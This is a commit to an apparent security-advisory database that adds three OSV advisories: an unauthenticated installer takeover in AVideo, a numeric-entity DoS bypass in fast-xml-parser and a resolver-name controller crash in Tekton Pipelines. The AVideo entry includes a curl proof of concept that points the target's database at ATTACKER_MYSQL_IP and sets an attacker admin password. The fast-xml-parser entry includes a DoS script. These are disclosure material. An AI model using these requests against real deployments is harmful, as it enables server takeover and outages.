Skip to content

Commit a9e916b

Browse files
1 parent 99354a3 commit a9e916b

3 files changed

Lines changed: 186 additions & 0 deletions

File tree

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-2f9h-23f7-8gcx",
4+
"modified": "2026-03-17T19:46:40Z",
5+
"published": "2026-03-17T19:46:40Z",
6+
"aliases": [
7+
"CVE-2026-33038"
8+
],
9+
"summary": "AVideo affected by unauthenticated application takeover via exposed web installer on uninitialized deployments",
10+
"details": "## Summary\nThe `install/checkConfiguration.php` endpoint performs full application initialization — database setup, admin account creation, and configuration file write — from unauthenticated POST input. The only guard is checking whether `videos/configuration.php` already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access.\n\n## Affected Component\n- `install/checkConfiguration.php` — entire file (lines 1-273)\n\n## Description\n\n### No authentication or access restriction on installer endpoint\n\nThe `checkConfiguration.php` file performs the most privileged operations in the application — creating the database schema, the admin account, and the configuration file — with no authentication, no setup token, no CSRF protection, and no IP restriction. The sole guard is a file-existence check:\n\n```php\n// install/checkConfiguration.php — lines 2-5\nif (file_exists(\"../videos/configuration.php\")) {\n error_log(\"Can not create configuration again: \". json_encode($_SERVER));\n exit;\n}\n```\n\nIf `videos/configuration.php` does not exist (fresh deployment, container restart without persistent storage, re-deployment), the entire installer runs with attacker-controlled POST parameters.\n\n### Attacker-controlled database host eliminates credential guessing\n\nUnlike typical installer exposure vulnerabilities where the attacker must guess the target's database credentials, this endpoint allows the attacker to supply their own database host:\n\n```php\n// install/checkConfiguration.php — line 25\n$mysqli = @new mysqli($_POST['databaseHost'], $_POST['databaseUser'], $_POST['databasePass'], \"\", $_POST['databasePort']);\n```\n\nThe attacker can:\n1. Run their own MySQL server with the AVideo schema pre-loaded\n2. Set `databaseHost` to their server's IP\n3. The connection succeeds (attacker controls the DB)\n4. The configuration file is written pointing the application at the attacker's database permanently\n\n### Admin account creation with unsanitized input\n\nThe admin user is created with direct POST parameter concatenation into SQL:\n\n```php\n// install/checkConfiguration.php — line 120\n$sql = \"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', '\"\n . $_POST['contactEmail'] . \"', '\" . md5($_POST['systemAdminPass']) . \"', now(), now(), true)\";\n```\n\nThis has two issues: (1) the attacker controls the admin password, and (2) `$_POST['contactEmail']` is directly concatenated into SQL without escaping (SQL injection).\n\n### Configuration file written with attacker-controlled values\n\nThe configuration file is written to disk with all attacker-supplied values embedded:\n\n```php\n// install/checkConfiguration.php — lines 238-247\n$videosDir = $_POST['systemRootPath'].'videos/';\n\nif(!is_dir($videosDir)){\n mkdir($videosDir, 0777, true);\n}\n\n$fp = fopen(\"{$videosDir}configuration.php\", \"wb\");\nfwrite($fp, $content);\nfclose($fp);\n```\n\nThe `$content` variable (built at lines 188-236) embeds `$_POST['databaseHost']`, `$_POST['databaseUser']`, `$_POST['databasePass']`, `$_POST['webSiteRootURL']`, `$_POST['systemRootPath']`, and `$_POST['salt']` directly into the PHP configuration file.\n\n### Inconsistent defense: CLI installer is protected, web endpoint is not\n\nThe CLI installer (`install/install.php`) properly restricts access:\n\n```php\n// install/install.php — lines 3-5\nif (!isCommandLineInterface()) {\n die('Command Line only');\n}\n```\n\nThe web endpoint (`checkConfiguration.php`) lacks any equivalent protection, creating an inconsistent defense pattern.\n\n### No web server protection on install directory\n\nThere is no `.htaccess` file in the `install/` directory. The root `.htaccess` does not block access to `install/`. The endpoint is directly accessible at `/install/checkConfiguration.php`.\n\n### Execution chain\n\n1. Attacker discovers an AVideo instance where `videos/configuration.php` does not exist (fresh or re-deployed)\n2. Attacker sends POST to `/install/checkConfiguration.php` with their own database host, admin password, and site configuration\n3. The script connects to the attacker's database (or the target's with guessed/default credentials)\n4. Tables are created, admin user is inserted with attacker's password\n5. `configuration.php` is written to disk, permanently configuring the application\n6. Attacker logs in as admin with full control over the application\n\n## Proof of Concept\n\n**Step 1:** Set up an attacker-controlled MySQL server with the AVideo schema:\n\n```bash\n# On attacker's server\nmysql -e \"CREATE DATABASE avideo;\"\nmysql avideo < database.sql # Use AVideo's own schema file\n```\n\n**Step 2:** Send the installation request to the target:\n\n```bash\ncurl -s -X POST https://TARGET/install/checkConfiguration.php \\\n -d 'systemRootPath=/var/www/html/AVideo/' \\\n -d 'databaseHost=ATTACKER_MYSQL_IP' \\\n -d 'databasePort=3306' \\\n -d 'databaseUser=attacker' \\\n -d 'databasePass=attacker_pass' \\\n -d 'databaseName=avideo' \\\n -d 'createTables=1' \\\n -d 'contactEmail=attacker@example.com' \\\n -d 'systemAdminPass=AttackerPass123!' \\\n -d 'webSiteTitle=Pwned' \\\n -d 'mainLanguage=en_US' \\\n -d 'webSiteRootURL=https://TARGET/'\n```\n\n**Step 3:** Log in as admin:\n\n```\nUsername: admin\nPassword: AttackerPass123!\n```\n\nThe attacker now has full administrative access. If using their own database, they control all application data.\n\n## Impact\n\n- **Full application takeover:** Attacker becomes the sole admin with complete control\n- **Persistent backdoor via configuration:** The `videos/configuration.php` file is written with attacker-controlled database credentials, ensuring persistent access even after the attack\n- **Data exfiltration:** If pointing to the attacker's database, all future user data (registrations, uploads, comments) flows to the attacker\n- **Remote code execution potential:** Admin access in AVideo enables file uploads and plugin management, which can lead to arbitrary PHP execution\n- **SQL injection bonus:** `$_POST['contactEmail']` on line 120 is directly concatenated into SQL, allowing additional database manipulation\n\n## Recommended Remediation\n\n### Option 1: Add a one-time setup token (preferred)\n\nGenerate a random setup token during deployment that must be provided to complete installation:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\n\n// Require a setup token that was generated during deployment\n$setupTokenFile = __DIR__ . '/../videos/.setup_token';\nif (!file_exists($setupTokenFile)) {\n $obj = new stdClass();\n $obj->error = \"Setup token file not found. Create videos/.setup_token with a random secret.\";\n header('Content-Type: application/json');\n echo json_encode($obj);\n exit;\n}\n\n$expectedToken = trim(file_get_contents($setupTokenFile));\nif (empty($_POST['setupToken']) || !hash_equals($expectedToken, $_POST['setupToken'])) {\n $obj = new stdClass();\n $obj->error = \"Invalid setup token.\";\n header('Content-Type: application/json');\n echo json_encode($obj);\n exit;\n}\n```\n\n### Option 2: Restrict installer to localhost/CLI only\n\nBlock web access to the installer entirely:\n\n```php\n// At the top of install/checkConfiguration.php, after the file_exists check:\nif (!isCommandLineInterface()) {\n $allowedIPs = ['127.0.0.1', '::1'];\n if (!in_array($_SERVER['REMOTE_ADDR'], $allowedIPs)) {\n header('Content-Type: application/json');\n echo json_encode(['error' => 'Installation is only allowed from localhost']);\n exit;\n }\n}\n```\n\nAdditionally, add an `.htaccess` file in the `install/` directory:\n\n```apache\n# install/.htaccess\n<Files \"checkConfiguration.php\">\n Require local\n</Files>\n```\n\n### Additional fixes needed\n\n1. **Parameterize SQL queries** on line 120 to prevent SQL injection:\n```php\n$stmt = $mysqli->prepare(\"INSERT INTO users (id, user, email, password, created, modified, isAdmin) VALUES (1, 'admin', ?, ?, now(), now(), true)\");\n$hashedPass = md5($_POST['systemAdminPass']); // Also: upgrade from md5 to password_hash()\n$stmt->bind_param(\"ss\", $_POST['contactEmail'], $hashedPass);\n$stmt->execute();\n```\n\n2. **Upgrade password hashing** from `md5()` to `password_hash()` with `PASSWORD_BCRYPT` or `PASSWORD_ARGON2ID`.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Packagist",
21+
"name": "wwbn/avideo"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "25.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-2f9h-23f7-8gcx"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/WWBN/AVideo/commit/b3fa7869dcb935c8ab5c001a88dc29d2f92cf8e1"
46+
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/WWBN/AVideo"
50+
}
51+
],
52+
"database_specific": {
53+
"cwe_ids": [
54+
"CWE-306"
55+
],
56+
"severity": "HIGH",
57+
"github_reviewed": true,
58+
"github_reviewed_at": "2026-03-17T19:46:40Z",
59+
"nvd_published_at": null
60+
}
61+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-8gc5-j5rx-235r",
4+
"modified": "2026-03-17T19:45:41Z",
5+
"published": "2026-03-17T19:45:41Z",
6+
"aliases": [
7+
"CVE-2026-33036"
8+
],
9+
"summary": "fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)",
10+
"details": "## Summary\n\nThe fix for CVE-2026-26278 added entity expansion limits (`maxTotalExpansions`, `maxExpandedLength`, `maxEntityCount`, `maxEntitySize`) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. **Numeric character references** (`&#NNN;` and `&#xHH;`) and standard XML entities (`&lt;`, `&gt;`, etc.) are processed through a separate code path that does NOT enforce any expansion limits.\n\nAn attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.\n\n## Affected Versions\n\nfast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)\n\n## Root Cause\n\nIn `src/xmlparser/OrderedObjParser.js`, the `replaceEntitiesValue()` function has two separate entity replacement loops:\n\n1. **Lines 638-670**: DOCTYPE entities — expansion counting with `entityExpansionCount` and `currentExpandedLength` tracking. This was the CVE-2026-26278 fix.\n2. **Lines 674-677**: `lastEntities` loop — replaces standard entities including `num_dec` (`/&#([0-9]{1,7});/g`) and `num_hex` (`/&#x([0-9a-fA-F]{1,6});/g`). **This loop has NO expansion counting at all.**\n\nThe numeric entity regex replacements at lines 97-98 are part of `lastEntities` and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.\n\n## Proof of Concept\n\n```javascript\nconst { XMLParser } = require('fast-xml-parser');\n\n// Even with strict explicit limits, numeric entities bypass them\nconst parser = new XMLParser({\n processEntities: {\n enabled: true,\n maxTotalExpansions: 10,\n maxExpandedLength: 100,\n maxEntityCount: 1,\n maxEntitySize: 10\n }\n});\n\n// 100K numeric entity references — should be blocked by maxTotalExpansions=10\nconst xml = `<root>${'&#65;'.repeat(100000)}</root>`;\nconst result = parser.parse(xml);\n\n// Output: 500,000 chars — bypasses maxExpandedLength=100 completely\nconsole.log('Output length:', result.root.length); // 500000\nconsole.log('Expected max:', 100); // limit was 100\n```\n\n**Results:**\n- 100K `&#65;` references → 500,000 char output (5x default maxExpandedLength of 100,000)\n- 1M references → 5,000,000 char output, ~147MB memory consumed\n- Even with `maxTotalExpansions=10` and `maxExpandedLength=100`, 10K references produce 50,000 chars\n- Hex entities (`&#x41;`) exhibit the same bypass\n\n## Impact\n\n**Denial of Service** — An attacker who can provide XML input to applications using fast-xml-parser can cause:\n- Excessive memory allocation (147MB+ for 1M entity references)\n- CPU consumption during regex replacement\n- Potential process crash via OOM\n\nThis is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.\n\n## Suggested Fix\n\nApply the same `entityExpansionCount` and `currentExpandedLength` tracking to the `lastEntities` loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.\n\n## Workaround\n\nSet `htmlEntities:false`",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "npm",
21+
"name": "fast-xml-parser"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "4.0.0-beta.3"
29+
},
30+
{
31+
"fixed": "5.5.6"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 5.5.5"
38+
}
39+
}
40+
],
41+
"references": [
42+
{
43+
"type": "WEB",
44+
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-8gc5-j5rx-235r"
45+
},
46+
{
47+
"type": "WEB",
48+
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/bd26122c838e6a55e7d7ac49b4ccc01a49999a01"
49+
},
50+
{
51+
"type": "PACKAGE",
52+
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
53+
},
54+
{
55+
"type": "WEB",
56+
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.5.6"
57+
}
58+
],
59+
"database_specific": {
60+
"cwe_ids": [
61+
"CWE-776"
62+
],
63+
"severity": "HIGH",
64+
"github_reviewed": true,
65+
"github_reviewed_at": "2026-03-17T19:45:41Z",
66+
"nvd_published_at": null
67+
}
68+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-cv4x-93xx-wgfj",
4+
"modified": "2026-03-17T19:46:29Z",
5+
"published": "2026-03-17T19:46:29Z",
6+
"aliases": [
7+
"CVE-2026-33022"
8+
],
9+
"summary": "Tekton Pipelines controller panic via long resolver name in TaskRun/PipelineRun",
10+
"details": "### Summary\n\nA user with permission to create or update a TaskRun or PipelineRun can crash the Tekton Pipelines controller by setting `.spec.taskRef.resolver` (or `.spec.pipelineRef.resolver`) to a string of 31 characters or more, causing a denial of service for all reconciliation.\n\n### Details\n\nThe controller panics in `GenerateDeterministicNameFromSpec` when building a deterministic `ResolutionRequest` name. The generated name has the format `{resolver}-{hash}` and, when the resolver name is long enough, the result exceeds the DNS-1123 label limit of 63 characters.\n\nThe truncation logic attempts to find a word boundary using `strings.LastIndex(name, \" \")`. Since the generated name never contains spaces (it is composed of the resolver name, a dash, and a hex-encoded hash), `LastIndex` returns `-1`, which is then used as a slice bound:\n\n```go\nreturn name[:strings.LastIndex(name[:maxLength], \" \")], nil\n// strings.LastIndex returns -1 → panic: slice bounds out of range [:-1]\n```\n\nThe panic crashes the controller. Because the offending TaskRun or PipelineRun is re-reconciled on restart, the controller enters a `CrashLoopBackOff`, blocking all TaskRun and PipelineRun reconciliation cluster-wide until the offending resource is manually deleted.\n\nBuilt-in resolvers use short names (`git`, `cluster`, `bundles`, `hub`) and are not affected under normal usage. The vulnerability is exploitable by any user who can create TaskRuns or PipelineRuns with a custom resolver name.\n\n### Impact\n\n**Denial of service** — A single malicious TaskRun or PipelineRun with a long resolver name is sufficient to crash the Tekton Pipelines controller into a restart loop, blocking all CI/CD reconciliation cluster-wide until the resource is removed.\n\n### Patches\n\n_(to be filled in: e.g. \"Fixed in versions 1.10.1, 1.9.1, ...\")_\n\nThe fix computes the hash first, then truncates only the prefix (resolver name) to fit within the DNS-1123 label limit, preserving the full hash to maintain determinism and uniqueness of `ResolutionRequest` names.\n\n### Workarounds\n\nRestrict who can create TaskRun and PipelineRun resources via Kubernetes RBAC. There is no validation-side workaround without patching.\n\n### Affected Versions\n\nAll releases from **v0.60.0** through **v1.10.0**.\n\nThe vulnerable truncation logic was introduced in commit `ea1fa7ad1fdc` (\"Remote Resolution Refactor\"), first released in v0.60.0 (2024-05-22).\n\nCurrently supported affected releases:\n- **v1.10.x** (latest)\n- **v1.9.x** (LTS, EOL 2027-01-30)\n- **v1.6.x** (LTS, EOL 2026-10-31)\n- **v1.3.x** (LTS, EOL 2026-08-04)\n- **v1.0.x** (LTS, EOL 2026-04-29)\n\nReleases prior to v0.60.0 are **not affected** — the truncation code did not exist.\n\n### Acknowledgments\n\nThis vulnerability was reported by Oleh Konko (@1seal), who provided a thorough vulnerability analysis, proof-of-concept, and review of the fix. Thank you!\n\n### References\n\n- Fix: _(link to merged PR/commit)_\n- Introduced in: `ea1fa7ad1fdc` (\"Remote Resolution Refactor\")",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/tektoncd/pipeline"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0.60.0"
29+
},
30+
{
31+
"last_affected": "1.10.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/tektoncd/pipeline/security/advisories/GHSA-cv4x-93xx-wgfj"
42+
},
43+
{
44+
"type": "PACKAGE",
45+
"url": "https://github.com/tektoncd/pipeline"
46+
}
47+
],
48+
"database_specific": {
49+
"cwe_ids": [
50+
"CWE-400"
51+
],
52+
"severity": "MODERATE",
53+
"github_reviewed": true,
54+
"github_reviewed_at": "2026-03-17T19:46:29Z",
55+
"nvd_published_at": null
56+
}
57+
}

0 commit comments

Comments
 (0)